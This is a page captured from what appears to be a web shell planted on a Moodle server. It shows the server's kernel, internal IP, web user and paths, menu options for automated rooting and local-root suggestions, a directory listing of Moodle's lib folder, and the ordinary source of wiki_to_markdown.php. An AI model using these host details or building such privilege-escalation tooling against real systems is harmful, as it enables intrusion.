Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
lib /
Delete
Unzip
Name
Size
Permission
Date
Action
adodb
[ DIR ]
drwxr-sr-x
2017-06-22 15:31
ajax
[ DIR ]
drwxr-sr-x
2017-06-22 15:31
amd
[ DIR ]
drwxr-sr-x
2017-06-22 15:19
antivirus
[ DIR ]
drwxr-sr-x
2017-06-22 15:19
behat
[ DIR ]
drwxr-sr-x
2017-06-22 15:32
bennu
[ DIR ]
drwxr-sr-x
2017-06-22 15:32
classes
[ DIR ]
drwxr-sr-x
2017-06-22 15:34
db
[ DIR ]
drwxr-sr-x
2017-06-22 15:34
ddl
[ DIR ]
drwxr-sr-x
2017-06-22 15:34
dml
[ DIR ]
drwxr-sr-x
2017-06-22 15:35
dtl
[ DIR ]
drwxr-sr-x
2017-06-22 15:35
editor
[ DIR ]
drwxr-sr-x
2017-06-22 15:37
evalmath
[ DIR ]
drwxr-sr-x
2017-06-22 15:40
external
[ DIR ]
drwxr-sr-x
2017-06-22 15:40
filebrowser
[ DIR ]
drwxr-sr-x
2017-06-22 15:40
filestorage
[ DIR ]
drwxr-sr-x
2017-06-22 15:40
form
[ DIR ]
drwxr-sr-x
2017-06-22 15:40
google
[ DIR ]
drwxr-sr-x
2017-06-22 15:40
grade
[ DIR ]
drwxr-sr-x
2017-06-22 15:42
horde
[ DIR ]
drwxr-sr-x
2017-06-22 15:44
html2text
[ DIR ]
drwxr-sr-x
2017-06-22 15:44
htmlpurifier
[ DIR ]
drwxr-sr-x
2017-06-22 15:45
jabber
[ DIR ]
drwxr-sr-x
2017-06-22 15:45
jquery
[ DIR ]
drwxr-sr-x
2017-06-22 15:45
lessphp
[ DIR ]
drwxr-sr-x
2017-06-22 15:46
ltiprovider
[ DIR ]
drwxr-sr-x
2017-06-22 15:46
markdown
[ DIR ]
drwxr-sr-x
2017-06-22 15:46
maxmind
[ DIR ]
drwxr-sr-x
2017-06-22 15:46
minify
[ DIR ]
drwxr-sr-x
2017-06-22 15:46
mustache
[ DIR ]
drwxr-sr-x
2017-06-22 15:47
password_compat
[ DIR ]
drwxr-sr-x
2017-06-22 15:30
pear
[ DIR ]
drwxr-sr-x
2017-06-22 15:47
php-css-parser
[ DIR ]
drwxr-sr-x
2017-06-22 15:47
phpexcel
[ DIR ]
drwxr-sr-x
2017-06-22 15:49
phpmailer
[ DIR ]
drwxr-sr-x
2017-06-22 15:49
phpunit
[ DIR ]
drwxr-sr-x
2017-06-22 15:49
portfolio
[ DIR ]
drwxr-sr-x
2017-06-22 15:49
requirejs
[ DIR ]
drwxr-sr-x
2017-06-22 15:49
rtlcss
[ DIR ]
drwxr-sr-x
2017-06-22 15:49
scssphp
[ DIR ]
drwxr-sr-x
2017-06-22 15:49
simplepie
[ DIR ]
drwxr-sr-x
2017-06-22 15:49
spout
[ DIR ]
drwxr-sr-x
2017-06-22 15:49
tcpdf
[ DIR ]
drwxr-sr-x
2017-06-22 15:51
templates
[ DIR ]
drwxr-sr-x
2017-06-22 15:51
testing
[ DIR ]
drwxr-sr-x
2017-06-22 15:51
tests
[ DIR ]
drwxr-sr-x
2017-06-22 15:52
typo3
[ DIR ]
drwxr-sr-x
2017-06-22 15:52
xhprof
[ DIR ]
drwxr-sr-x
2017-06-22 15:53
xmldb
[ DIR ]
drwxr-sr-x
2017-06-22 15:53
yui
[ DIR ]
drwxr-sr-x
2017-06-22 15:53
yuilib
[ DIR ]
drwxr-sr-x
2017-06-22 16:01
accesslib.php
257.12
KB
-rw-r--r--
2017-06-22 15:30
adminlib.php
345.63
KB
-rw-r--r--
2017-06-22 15:30
authlib.php
26.75
KB
-rw-r--r--
2017-06-22 15:32
badgeslib.php
42.95
KB
-rw-r--r--
2017-06-22 15:32
blocklib.php
97.26
KB
-rw-r--r--
2017-06-22 15:32
boxlib.php
8.08
KB
-rw-r--r--
2017-06-22 15:32
cacert.pem
239.21
KB
-rw-r--r--
2017-06-22 15:32
cacert.txt
811
B
-rw-r--r--
2017-06-22 15:32
clilib.php
6.62
KB
-rw-r--r--
2017-06-22 15:34
completionlib.php
46.36
KB
-rw-r--r--
2017-06-22 15:34
componentlib.class.php
29.2
KB
-rw-r--r--
2017-06-22 15:34
conditionlib.php
1.11
KB
-rw-r--r--
2017-06-22 15:34
configonlylib.php
6.48
KB
-rw-r--r--
2017-06-22 15:34
cookies.js
2.37
KB
-rw-r--r--
2017-06-22 15:34
coursecatlib.php
124.32
KB
-rw-r--r--
2017-06-22 15:34
cronlib.php
11.08
KB
-rw-r--r--
2017-06-22 15:34
csslib.php
14.42
KB
-rw-r--r--
2017-06-22 15:34
csvlib.class.php
17.25
KB
-rw-r--r--
2017-06-22 15:34
customcheckslib.php
1.5
KB
-rw-r--r--
2017-06-22 15:34
dataformatlib.php
2.48
KB
-rw-r--r--
2017-06-22 15:34
datalib.php
65.83
KB
-rw-r--r--
2017-06-22 15:34
ddllib.php
4.71
KB
-rw-r--r--
2017-06-22 15:34
default.ttf
502.23
KB
-rw-r--r--
2017-06-22 15:34
deprecatedlib.php
227.36
KB
-rw-r--r--
2017-06-22 15:34
dmllib.php
12.29
KB
-rw-r--r--
2017-06-22 15:35
dtllib.php
2.58
KB
-rw-r--r--
2017-06-22 15:35
editorlib.php
6.43
KB
-rw-r--r--
2017-06-22 15:40
emptyfile.php
809
B
-rw-r--r--
2017-06-22 15:40
enrollib.php
100.43
KB
-rw-r--r--
2017-06-22 15:40
environmentlib.php
54.94
KB
-rw-r--r--
2017-06-22 15:40
eventslib.php
4.58
KB
-rw-r--r--
2017-06-22 15:40
excellib.class.php
29.16
KB
-rw-r--r--
2017-06-22 15:40
externallib.php
52.09
KB
-rw-r--r--
2017-06-22 15:40
filelib.php
177.78
KB
-rw-r--r--
2017-06-22 15:40
filterlib.php
56.44
KB
-rw-r--r--
2017-06-22 15:40
flickrlib.php
51.75
KB
-rw-r--r--
2017-06-22 15:40
formslib.php
127.64
KB
-rw-r--r--
2017-06-22 15:40
gdlib.php
16.96
KB
-rw-r--r--
2017-06-22 15:40
googleapi.php
16.34
KB
-rw-r--r--
2017-06-22 15:41
gradelib.php
60.36
KB
-rw-r--r--
2017-06-22 15:42
graphlib.php
83.1
KB
-rw-r--r--
2017-06-22 15:42
grouplib.php
38.34
KB
-rw-r--r--
2017-06-22 15:42
htaccess
1.84
KB
-rw-r--r--
2017-06-22 15:44
index.html
1
B
-rw-r--r--
2017-06-22 15:45
installlib.php
18
KB
-rw-r--r--
2017-06-22 15:45
javascript-static.js
56.77
KB
-rw-r--r--
2017-06-22 15:45
javascript.php
4.09
KB
-rw-r--r--
2017-06-22 15:45
jslib.php
4.15
KB
-rw-r--r--
2017-06-22 15:46
ldaplib.php
18.07
KB
-rw-r--r--
2017-06-22 15:46
lexer.php
16.07
KB
-rw-r--r--
2017-06-22 15:46
licenselib.php
7.25
KB
-rw-r--r--
2017-06-22 15:46
listlib.php
22.2
KB
-rw-r--r--
2017-06-22 15:46
mathslib.php
4.58
KB
-rw-r--r--
2017-06-22 15:46
medialib.php
5.4
KB
-rw-r--r--
2017-06-22 15:46
messagelib.php
25.68
KB
-rw-r--r--
2017-06-22 15:46
modinfolib.php
103.04
KB
-rw-r--r--
2017-06-22 15:46
moodlelib.php
345.25
KB
-rw-r--r--
2017-06-22 15:47
myprofilelib.php
20.9
KB
-rw-r--r--
2017-06-22 15:47
navigationlib.php
236.48
KB
-rw-r--r--
2017-06-22 15:47
oauthlib.php
21.11
KB
-rw-r--r--
2017-06-22 15:47
odslib.class.php
57.36
KB
-rw-r--r--
2017-06-22 15:47
outputactions.php
7.11
KB
-rw-r--r--
2017-06-22 15:47
outputcomponents.php
149.65
KB
-rw-r--r--
2017-06-22 15:47
outputfactories.php
18.11
KB
-rw-r--r--
2017-06-22 15:47
outputfragmentrequirementslib.php
4.17
KB
-rw-r--r--
2017-06-22 15:47
outputlib.php
85.67
KB
-rw-r--r--
2017-06-22 15:47
outputrenderers.php
194.47
KB
-rw-r--r--
2017-06-22 15:47
outputrequirementslib.php
82.56
KB
-rw-r--r--
2017-06-22 15:47
pagelib.php
77.05
KB
-rw-r--r--
2017-06-22 15:47
pdflib.php
9.23
KB
-rw-r--r--
2017-06-22 15:47
plagiarismlib.php
6.9
KB
-rw-r--r--
2017-06-22 15:49
portfoliolib.php
54.31
KB
-rw-r--r--
2017-06-22 15:49
questionlib.php
69.63
KB
-rw-r--r--
2017-06-22 15:49
recaptchalib.php
12.38
KB
-rw-r--r--
2017-06-22 15:49
requirejs.php
5.25
KB
-rw-r--r--
2017-06-22 15:49
resourcelib.php
8.91
KB
-rw-r--r--
2017-06-22 15:49
rsslib.php
17.93
KB
-rw-r--r--
2017-06-22 15:49
searchlib.php
16.23
KB
-rw-r--r--
2017-06-22 15:49
sessionkeepalive_ajax.php
1.21
KB
-rw-r--r--
2017-06-22 15:49
sessionlib.php
6.85
KB
-rw-r--r--
2017-06-22 15:49
setup.php
38.93
KB
-rw-r--r--
2017-06-22 15:49
setuplib.php
72.26
KB
-rw-r--r--
2017-06-22 15:49
soaplib.php
5.23
KB
-rw-r--r--
2017-06-22 15:49
statslib.php
67.12
KB
-rw-r--r--
2017-06-22 15:50
tablelib.php
60.3
KB
-rw-r--r--
2017-06-22 15:50
thirdpartylibs.xml
7.62
KB
-rw-r--r--
2017-06-22 15:52
tokeniserlib.php
16.48
KB
-rw-r--r--
2017-06-22 15:52
upgrade.txt
61.47
KB
-rw-r--r--
2017-06-22 15:52
upgradelib.php
90.37
KB
-rw-r--r--
2017-06-22 15:52
uploadlib.php
1.9
KB
-rw-r--r--
2017-06-22 15:52
validateurlsyntax.php
22.73
KB
-rw-r--r--
2017-06-22 15:52
webdavlib.php
67.84
KB
-rw-r--r--
2017-06-22 15:52
weblib.php
118.7
KB
-rw-r--r--
2017-06-22 15:52
wiki_to_markdown.php
13.12
KB
-rw-r--r--
2017-06-22 15:52
womenslib.php
1021
B
-rw-r--r--
2017-06-22 15:52
wordlist.txt
1.23
KB
-rw-r--r--
2017-06-22 15:52
xhtml.xsl
223
B
-rw-r--r--
2017-06-22 15:53
xmlize.php
6.63
KB
-rw-r--r--
2017-06-22 15:53
xsendfilelib.php
2.59
KB
-rw-r--r--
2017-06-22 15:53
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Utility function to convert wiki-like to Markdown format * * @package core * @subpackage lib * @copyright Howard Miller, 2005 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /**#@+ * state defines */ define( "STATE_NONE",1 ); // blank line has been detected, so looking for first line on next para define( "STATE_PARAGRAPH",2 ); // currently processing vanilla paragraph define( "STATE_BLOCKQUOTE",3 ); // currently processing blockquote section define( "STATE_PREFORM",4 ); // currently processing preformatted text define( "STATE_NOTIKI",5 ); // currently processing preformatted / no formatting /**#@-*/ /**#@+ * list defines */ define( "LIST_NONE", 1 ); // no lists active define( "LIST_UNORDERED", 2 ); // unordered list active define( "LIST_ORDERED", 3 ); // ordered list active define( "LIST_DEFINITION", 4 ); // definition list active /**#@-*/ /** * @package moodlecore * @copyright Howard Miller, 2005 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class WikiToMarkdown { var $block_state; var $list_state; var $list_depth; var $list_backtrack; var $output; // output buffer var $courseid; function close_block( $state ) { // provide appropriate closure for block according to state // if in list close this first $lclose = ""; if ($this->list_state != LIST_NONE) { $lclose = $this->do_list( " ",true ); } $sclose = ""; switch ($state) { case STATE_PARAGRAPH: $sclose = "\n"; break; case STATE_BLOCKQUOTE: $sclose = "\n"; break; case STATE_PREFORM: $sclose = "</pre>\n"; break; case STATE_NOTIKI: $sclose = "\n"; break; } return $lclose . $sclose; } function do_replace( $line, $mark, $tag ) { // do the regex thingy for things like bold, italic etc // $mark is the magic character, and $tag the HTML tag to insert // BODGE: replace inline $mark characters in places where we want them ignored // they will be put back after main substitutue, stops problems with eg, and/or $bodge = chr(1); $line = preg_replace( '/([[:alnum:]])'.$mark.'([[:alnum:]])/i', '\\1'.$bodge.'\\2',$line ); $regex = '/(^| |[(.,])'.$mark.'([^'.$mark.']*)'.$mark.'([^[:alnum:]]|$)/i'; $replace = '\\1<'.$tag.'>\\2</'.$tag.'>\\3'; $line = preg_replace( $regex, $replace, $line ); // BODGE: back we go $line = preg_replace( '/'.$bodge.'/i', $mark, $line ); return $line; } function do_replace_markdown( $line, $mark, $tag ) { // do the regex thingy for things like bold, italic etc // $mark is the magic character, and $tag the HTML tag to insert // MARKDOWN version does not generate HTML tags, just straigt replace // BODGE: replace inline $mark characters in places where we want them ignored // they will be put back after main substitutue, stops problems with eg, and/or $bodge = chr(1); $line = preg_replace( '/([[:alnum:]])'.$mark.'([[:alnum:]])/i', '\\1'.$bodge.'\\2',$line ); $regex = '/(^| |[(.,])'.$mark.'([^'.$mark.']*)'.$mark.'([^[:alnum:]]|$)/i'; $replace = '\\1'.$tag.'\\2'.$tag.'\\3'; $line = preg_replace( $regex, $replace, $line ); // BODGE: back we go $line = preg_replace( '/'.$bodge.'/i', $mark, $line ); return $line; } function do_replace_sub( $line, $mark, $tag ) { // do regex for subscript and superscript (slightly different) // $mark is the magic character and $tag the HTML tag to insert $regex = '/'.$mark.'([^'.$mark.']*)'.$mark.'/i'; $replace = '<'.$tag.'>\\1</'.$tag.'>'; return preg_replace( $regex, $replace, $line ); } function do_list( $line, $blank=false ) { // handle line with list character on it // if blank line implies drop to level 0 // get magic character and then delete it from the line if not blank if ($blank) { $listchar=""; $count = 0; } else { $listchar = $line{0}; $count = strspn( $line, $listchar ); $line = preg_replace( "/^[".$listchar."]+ /i", "", $line ); } // find what sort of list this character represents $list_tag = ""; $list_close_tag = ""; $item_tag = ""; $item_close_tag = ""; $list_style = LIST_NONE; switch ($listchar) { case '*': $list_tag = ""; $list_close_tag = ""; $item_tag = "*"; $item_close_tag = ""; $list_style = LIST_UNORDERED; break; case '#': $list_tag = ""; $list_close_tag = ""; $item_tag = "1."; $item_close_tag = ""; $list_style = LIST_ORDERED; break; case ';': $list_tag = "<dl>"; $list_close_tag = "</dl>"; $item_tag = "<dd>"; $item_close_tag = "</dd>"; $list_style = LIST_DEFINITION; break; case ':': $list_tag = "<dl>"; $list_close_tag = "</dl>"; $item_tag = "<dt>"; $item_close_tag = "</dt>"; $list_style = LIST_DEFINITION; break; } // tag opening/closing regime now - fun bit :-) $tags = ""; // if depth has reduced do number of closes to restore level for ($i=$this->list_depth; $i>$count; $i-- ) { $close_tag = array_pop( $this->list_backtrack ); $tags = $tags . $close_tag; } // if depth has increased do number of opens to balance for ($i=$this->list_depth; $i<$count; $i++ ) { array_push( $this->list_backtrack, "$list_close_tag" ); $tags = $tags . "$list_tag"; } // ok, so list state is now same as style and depth same as count $this->list_state = $list_style; $this->list_depth = $count; // get indent $indent = substr( " ",1,$count-1 ); if ($blank) { $newline = $tags; } else { $newline = $tags . $indent . "$item_tag " . $line . "$item_close_tag"; } return $newline; } function line_replace( $line ) { // return line after various formatting replacements // have been made - order is vital to stop them interfering with each other global $CFG; // ---- (at least) means a <hr /> // MARKDOWN: no change so leave // is this a list line (starts with * # ; :) if (preg_match( "/^([*]+|[#]+|[;]+|[:]+) /i", $line )) { $line = $this->do_list( $line ); } // typographic conventions // MARKDOWN: no equiv. so convert to entity as before // $line = str_replace( "--", "—", $line ); // $line = str_replace( " - ", " – ", $line ); $line = str_replace( "...", " … ", $line ); $line = str_replace( "(R)", "®", $line ); $line = str_replace( "(r)", "®", $line ); $line = str_replace( "(TM)", "™", $line ); $line = str_replace( "(tm)", "™", $line ); $line = str_replace( "(C)", "©", $line ); $line = str_replace( "1/4", "¼", $line ); $line = str_replace( "1/2", "½", $line ); $line = str_replace( "3/4", "¾", $line ); $line = preg_replace( "/([[:digit:]]+[[:space:]]*)x([[:space:]]*[[:digit:]]+)/i", "\\1×\\2", $line ); // (digits) x (digits) - multiply // do formatting tags // NOTE: The / replacement *has* to be first, or it will screw the // HTML tags that are added by the other ones // MARKDOWN: only bold and italic change, rest are just HTML $line = $this->do_replace_markdown( $line, "\*", "**" ); $line = $this->do_replace_markdown( $line, "/", "*" ); $line = $this->do_replace( $line, "\+", "ins" ); // $line = $this->do_replace( $line, "-", "del" ); $line = $this->do_replace_sub( $line, "~", "sub" ); $line = $this->do_replace_sub( $line, "\^", "sup" ); $line = $this->do_replace( $line, "%", "code" ); $line = $this->do_replace( $line, "@", "cite" ); // convert urls into proper link with optional link text URL(text) // MARDOWN: HTML conversion should work fine $line = preg_replace("/([[:space:]]|^)([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]#?/&=])\(([^)]+)\)/i", "\\1[\\5](\\2://\\3\\4)", $line); $line = preg_replace("/([[:space:]])www\.([^[:space:]]*)([[:alnum:]#?/&=])\(([^)]+)\)/i", "\\1[\\5](http://www.\\2\\3)", $line); // make urls (with and without httpd) into proper links $line = preg_replace("/([[:space:]]|^)([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]#?/&=])/i", "\\1<\\2://\\3\\4>", $line); $line = preg_replace("/([[:space:]])www\.([^[:space:]]*)([[:alnum:]#?/&=])/i", "\\1<http://www.\\2\\3\>", $line); // make email addresses into mailtos.... // MARKDOWN doesn't quite support this, so do as html $line = preg_replace("/([[:space:]]|^)([[:alnum:]._-]+@[[:alnum:]._-]+)\(([^)]+)\)/i", "\\1<a href=\"mailto:\\2\">\\3</a>", $line); // !# at the beginning of any lines means a heading // MARKDOWN: value (1-6) becomes number of hashes if (preg_match( "/^!([1-6]) (.*)$/i", $line, $regs )) { $depth = substr( $line, 1, 1 ); $out = substr( '##########', 0, $depth); $line = preg_replace( "/^!([1-6]) (.*)$/i", "$out \\2", $line ); } // acronym handing, example HTML(Hypertext Markyp Language) // MARKDOWN: no equiv. so just leave as HTML $line = preg_replace( "/([A-Z]+)\(([^)]+)\)/", "<acronym title=\"\\2\">\\1</acronym>", $line ); // Replace resource link >>##(Description Text) // MARKDOWN: change to MD web link style $line = preg_replace("/ ([a-zA-Z]+):([0-9]+)\(([^)]+)\)/i", " [\\3](".$CFG->wwwroot."/mod/\\1/view.php?id=\\2) ", $line ); $coursefileurl = array(moodle_url::make_legacyfile_url($this->courseid, null)); // Replace picture resource link $line = preg_replace("#/([a-zA-Z0-9./_-]+)(png|gif|jpg)\(([^)]+)\)#i", "", $line ); // Replace file resource link $line = preg_replace("#file:/([[:alnum:]/._-]+)\(([^)]+)\)#i", "[\\2](".$coursefileurl."/\\1)", $line ); return $line; } function convert( $content,$courseid ) { // main entry point for processing Wiki-like text // $content is string containing text with Wiki-Like formatting // return: string containing Markdown formatting // initialisation stuff $this->output = ""; $this->block_state = STATE_NONE; $this->list_state = LIST_NONE; $this->list_depth = 0; $this->list_backtrack = array(); $this->spelling_on = false; $this->courseid = $courseid; // split content into array of single lines $lines = explode( "\n",$content ); $buffer = ""; // run through lines foreach( $lines as $line ) { // is this a blank line? $blank_line = preg_match( "/^[[:blank:]\r]*$/i", $line ); if ($blank_line) { // first end current block according to state $buffer = $buffer . $this->close_block( $this->block_state ); $this->block_state = STATE_NONE; continue; } // act now depending on current block state if ($this->block_state == STATE_NONE) { // first character of line defines block type if (preg_match( "/^> /i",$line )) { // blockquote $buffer = $buffer . $this->line_replace( $line ). "\n"; $this->block_state = STATE_BLOCKQUOTE; } else if (preg_match( "/^ /i",$line) ) { // preformatted text // MARKDOWN: no real equiv. so just use <pre> $buffer = $buffer . "<pre>\n"; $buffer = $buffer . $this->line_replace($line) . "\n"; $this->block_state = STATE_PREFORM; } else if (preg_match("/^\% /i",$line) ) { // preformatted text - no processing // MARKDOWN: this is MD code form of a paragraph $buffer = $buffer . " " . preg_replace( "/^\%/i","",$line) . "\n"; $this->block_state = STATE_NOTIKI; } else { // ordinary paragraph $buffer = $buffer . $this->line_replace($line) . "\n"; $this->block_state = STATE_PARAGRAPH; } continue; } if (($this->block_state == STATE_PARAGRAPH) | ($this->block_state == STATE_BLOCKQUOTE) | ($this->block_state == STATE_PREFORM) ) { $buffer = $buffer . $this->line_replace($line) . "\n"; continue; } elseif ($this->block_state == STATE_NOTIKI) { $buffer = $buffer . " " .$line . "\n"; } } // close off any block level tags $buffer = $buffer . $this->close_block( $this->block_state ); //return $buffer; return $buffer; } }